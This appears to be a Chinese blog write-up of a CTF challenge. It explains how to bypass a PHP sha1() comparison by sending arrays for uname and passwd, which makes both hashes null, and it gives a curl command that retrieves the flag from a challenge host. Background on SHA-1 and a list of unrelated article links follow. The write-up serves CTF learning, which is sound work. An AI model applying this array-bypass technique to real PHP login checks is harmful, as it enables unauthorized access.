当前位置: 首页 > backend >正文

CTF--各种绕过哟

一、原网页:

二、步骤:

1.源代码:

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!';}
?>

2.得到flag的条件:

(1) (sha1($_GET['uname']) === sha1($_POST['passwd'])

处在sha1函数的uname和passwd的值要相等,而sha1函数在处理数组时会报错,返回null

如果uname和passwd都为null,那么就可以视为值相等

因此我们可以通过数组绕过满足该条件:

uname[]=1

passwd[]=2

(2)id=margin

3.传参方式处理:

uname和id的传参方式都是get,因此可以直接在URL中添加参数

passwd的传参方式是post,需要将参数放入请求体中

具体命令为:

curl -d "&&passwd[]=2" http://117.72.52.127:10890/?id=margin"&&uname[]=1" 

4.在命令行中输出上述命令:

三、sha1()函数:

sha1(Secure Hash Algorithm 安全哈希算法)是一种密码散列函数,由美国国家安全局(NSA)设计,用于生成数据的固定长度哈希值(通常为40个十六进制字符)。

sha1()函数结合私钥生成签名,能够验证数据在传输或存储过程中是否被篡改,用于验证身份和数据完整性。早期系统中用于存储密码的哈希值,但因安全性问题已逐渐被更安全的算法替代。

2017年,SHA-1被证明存在碰撞漏洞(即不同输入产生相同哈希值),导致其在安全敏感场景(如数字证书)中不再可靠。

四、相关题型:

CTF--POST

CTF--GET

http://www.xdnf.cn/news/116.html

相关文章:

  • 汽车免拆诊断案例 | 2011款雪铁龙世嘉车刮水器偶尔自动工作
  • 服务器的算力已经被被人占用了,我如何能“无缝衔接”?
  • MATLAB - 小车倒立摆的非线性模型预测控制(NMPC)
  • SAP案例:珠海汉胜科技SAP S/4 HANA智能制造实践与价值实现
  • 3.Chromium指纹浏览器开发教程之chromium119版本源码拉取
  • 4.18---缓存相关问题(操作原子性,击穿,穿透,雪崩,redis优势)
  • 第五届能源工程、新能源材料与器件国际学术会议(NEMD 2025)
  • 数据结构中的宝藏秘籍之广义表
  • Web三漏洞学习(其三:rce漏洞)
  • 【MySQL】表的操作
  • PyTorch分布式训练调试方法(跟踪调用过程)
  • 每日算法【双指针算法】(Day 2-复写零)
  • 社交媒体时代的隐私忧虑:聚焦Facebook
  • ios精灵脚本辅助软件,有根和无根roothide越狱区别
  • iOS Google登录
  • 【生态系统模型】Biome-BGC生态系统模型与Python融合技术实践应用
  • iOS Facebook 登录
  • 2025年03月中国电子学会青少年软件编程(Python)等级考试试卷(四级)答案 + 解析
  • 基于大模型的腹股沟疝诊疗全流程风险预测与方案制定研究报告
  • 【vLLM 学习】Aqlm 示例
  • 网页端调用本地应用打开本地文件(PDF、Word、excel、PPT)
  • day31和day32图像处理OpenCV
  • 数据通信学习笔记之OSPF配置命令
  • 大数据应用开发——大数据平台集群部署
  • 数据结构——二叉树
  • GB28181的SIP注册与PS推流学习
  • 常用绑定事件方式有哪几种
  • Spring AI与通义千问的完美结合:构建智能对话应用
  • 【OSG学习笔记】Day 3: 加载你的第一个3D模型
  • C++每日训练 Day 16:构建 GUI 响应式信号机制(面向初学者)